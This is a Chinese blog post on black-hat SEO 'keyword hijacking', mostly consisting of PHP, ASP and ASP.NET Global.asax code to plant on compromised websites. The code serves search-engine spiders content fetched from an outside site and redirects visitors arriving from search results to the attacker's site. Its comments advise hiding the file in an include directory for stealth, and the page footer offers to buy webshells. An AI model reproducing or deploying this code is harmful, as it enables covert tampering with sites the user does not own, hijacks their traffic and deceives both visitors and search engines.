搜索引擎关键词劫持(asp php .net代码)--黑帽SEO


发布人:admin分类:漏洞播报浏览量:1745发布时间:2018-01-06

今天早上在看xssing的时候点开了 "法克" 页面,看到了一个比较有意思的东东

那就是即将要说的"搜索引擎关键词劫持"

原理

先来简单的说说原理

 

其实原理很简单:

 

搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell 站点)A  的首页(希望被

搜索引擎收录的页面,一般情况下是首页),使之做出如下判断:

 

if (来访者是蜘蛛){ 

输出指定内容 

} 

if (用户是从搜索引擎点击进入网站的){ 

跳转我们希望跳转的站点B 

}

 

所以我们可以达到如下效果:

 

针对蜘蛛来说,如果来访者是指定的蜘蛛,那么输出希望让蜘蛛看到的内容,如果来访者不是蜘蛛,则输出希望给正常用户看到的内容。正常用户在浏览器地址栏输入网址访问网站A,看到正常的首页,如果用户点击百度的搜索结果中的链接进入网站A ,则跳转我们要做SEO的站点B 。

 

好了  其实也就是这个意思啦  下面看一下代码是怎么实现的吧

代码实现

PHP代码

 

<?php 

################################################ 

# 可以把本文件放在类似inc、include 这样的目录中# 

#    首页require_once('本文件路径');就可以了 # 

#               这样会比较隐蔽                     # 

################################################ 

if (ereg("http://www.baidu.com/search/spider.htm", $_SERVER["HTTP_USER_AGENT"])) { 

       //判断搜索引擎,这里是百度,可以自行添加蜘蛛 

/* 

Header("HTTP/1.1 301 Moved Permanently"); 

Header("Location: http://www.hccbbs.com/"); 

//这是301 跳转,301 主要针对搜索引擎,如果你想告诉搜索引擎这个页面已经更换URL 了的话... 

*/ 

$file = file_get_contents('http://www.hccbbs.com/forum.php'); 

echo $file;//输出指定文件内容 

exit; 

} 

//判断来路 

if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com")) {// 如果用户来自baidu.com 

//Header("HTTP/1.1 301 Moved Permanently");//301 跳转,也可以不用301,直接跳转,301 状态码主要针对 

搜索引擎使用 

Header("Location: http://www.hccbbs.com/");//跳转 

----------------------- Page 2-----------------------

exit; 

} 

?>

asp代码

 

<% 

function GetBot() 

'查询蜘蛛 

dim s_agent 

GetBot="" 

s_agent=Request.ServerVariables("HTTP_USER_AGENT") ' 关键判断语句 

if instr(1,s_agent,"googlebot",1) >0 then 

GetBot="google" 

end if 

if instr(1,s_agent,"msnbot",1) >0 then 

GetBot="MSN" 

end if 

if instr(1,s_agent,"slurp",1) >0 then 

GetBot="Yahoo" 

end if 

if instr(1,s_agent,"baiduspider",1) >0 then 

GetBot="baidu" 

end if 

if instr(1,s_agent,"sohu-search",1) >0 then 

GetBot="Sohu" 

end if 

if instr(1,s_agent,"lycos",1) >0 then 

GetBot="Lycos" 

end if 

if instr(1,s_agent,"robozilla",1) >0 then 

GetBot="Robozilla" 

end if 

end function 

Function getHTTPPage(Path) 

t = GetBody(Path) 

getHTTPPage=BytesToBstr(t,"GB2312")' 编码 

End function 

Function Newstring(wstr,strng) 

Newstring=Instr(lcase(wstr),lcase(strng)) 

if Newstring<=0 then Newstring=Len(wstr) 

End Function 

Function GetBody(url) 

on error resume next 

----------------------- Page 2-----------------------

Set Retrieval = CreateObject("Microsoft.XMLHTTP") 

With Retrieval 

.Open "Get", url, False, "", "" 

.Send 

GetBody = .ResponseBody 

End With 

Set Retrieval = Nothing 

End Function 

Function BytesToBstr(body,Cset) 

dim objstream 

set objstream = Server.CreateObject("adodb.stream") 

objstream.Type = 1 

objstream.Mode =3 

objstream.Open 

objstream.Write body 

objstream.Position = 0 

objstream.Type = 2 

objstream.Charset = Cset 

BytesToBstr = objstream.ReadText 

objstream.Close 

set objstream = nothing 

End Function 

Dim wstr,str,url,start,over,dtime 

if GetBot="baidu" then 

'给百度蜘蛛定制的内容 

url="http://www.hccbbs.com" 

'想要展示给蜘蛛的页面地址 

wstr=getHTTPPage(url) 

body=wstr 

response.write ""&body&"" 

response.end 

elseif GetBot="google" then 

'给google  蜘蛛定制的内容 

url="http://www.hccbbs.com" 

wstr=getHTTPPage(url) 

body=wstr 

response.write ""&body&"" 

response.end 

end if 

if instr(Request.ServerVariables("http_referer"),"www.baidu.com")>0 then 

'如果用户来自www.baidu.com 

response.redirect("http://www.hccbbs.com/") 

'跳转指定地址 

end if 

----------------------- Page 3-----------------------

%>

.net代码

 

----------------------- Page 1-----------------------

作者:zcgonvh 

来自:法客论坛 - F4ckTeam 

网址:http://team.f4ck.net 

蛋疼写的,有需要的就拿去,注意要保存为Global.asax 。 

重要说明:为避免编码问题,请在劫持页面(data_url )指向页面加入meta 标记来指明编码, 

如 

<meta content="text/html; charset=utf-8" http-equiv="Content-Type"/> 

来指明是UTF-8 编码,以避免乱码问题。 

<%@ Application Language="C#" %> 

<script runat="server"> 

     void Application_Start(object sender, EventArgs e) 

     { 

           //在应用程序启动时运行的代码 

     } 

     void Application_End(object sender, EventArgs e) 

     { 

           //在应用程序关闭时运行的代码 

     } 

     void Application_Error(object sender, EventArgs e) 

     { 

           //在出现未处理的错误时运行的代码 

     } 

     void Session_Start(object sender, EventArgs e) 

     { 

           //在新会话启动时运行的代码 

           //HttpContext.Current.Response.Write(HttpContext.Current.Request.UserAge nt); 

                string data_url = "http://www.fuck.com";//要展示给搜索引擎的页面 

           string redirect_url="http://www.fuck.com/1.asp";//从搜索引擎点击进来跳转的页面 

           if (is_spider()) 

           { 

                HttpContext.Current.Response.Clear(); 

                HttpContext.Current.Response.BinaryWrite(get_data(data_url)); 

                HttpContext.Current.Response.End(); 

           } 

           else if(is_from_search()) 

           { 

                HttpContext.Current.Response.Redirect(redirect_url, true); 

           } 

           else 

----------------------- Page 2-----------------------

      { 

             //HttpContext.Current.Response.Write(HttpContext.Current.Request.UserAgent); 

      } 

} 

void Session_End(object sender, EventArgs e) 

{ 

      //在会话结束时运行的代码。 

      //  注意:      只有在 Web.config  文件中的 sessionstate 模式设置为 

      // InProc  时,才会引发 Session_End  事件。如果会话模式 

      // 设置为 StateServer  或 SQLServer,则不会引发该事件。 

} 

public bool is_spider() 

{ 

      string spider_flag = "googlebot¦baiduspider¦sogou¦yahoo¦soso";// 这里添加搜索引擎user-agent 标识 

      string[] spider_flag_arr = spider_flag.Split('¦'); 

      string user_agent=HttpContext.Current.Request.UserAgent; 

      foreach (string tmp_flag in spider_flag_arr) 

      { 

             if (user_agent.ToLower().IndexOf(tmp_flag.ToLower())!=-1) { return true; } 

      } 

      return false; 

} 

      public bool is_from_search() 

{ 

      if (HttpContext.Current.Request.UrlReferrer==null) 

      { 

      return false; 

      } 

      else 

      { 

      string page_ref = HttpContext.Current.Request.UrlReferrer.ToString(); 

      string search_flag = "google¦baidu¦sogou¦yahoo¦soso"; // 这里添加搜索引擎url 标识 

      string[] search_flag_arr = search_flag.Split('¦'); 

      foreach (string tmp_flag in search_flag_arr) 

      { 

             if (page_ref.ToLower().IndexOf(tmp_flag.ToLower()) != - 1) { return true; } 

      } 

      return false; 

      } 

} 

public byte[] get_data(string url) 

{ 

----------------------- Page 3-----------------------

            System.Net.WebClient wc = new System.Net.WebClient(); 

            byte[] data = wc.DownloadData(url); 

            return data; 

      } 

</script>

 

以上代码未经测试,代码源于:被黑站点统计


被黑站点统计 - 文章版权1、本主题所有言论和图片纯属会员个人意见,与本文章立场无关
2、本站所有主题由该文章作者发表,该文章作者与被黑站点统计享有文章相关版权
3、其他单位或个人使用、转载或引用本文时必须同时征得该文章作者和被黑站点统计的同意
4、文章作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
7、被黑站点统计管理员有权不事先通知发贴者而删除本文

高价收shell QQ:385880567

admin  的文章


微信公众号

微信公众号


Copyright © 2012-2022被黑网站统计系统All Rights Reserved
页面总访问量:19261492(PV) 页面执行时间:65.705(MS)
  • xml
  • 网站地图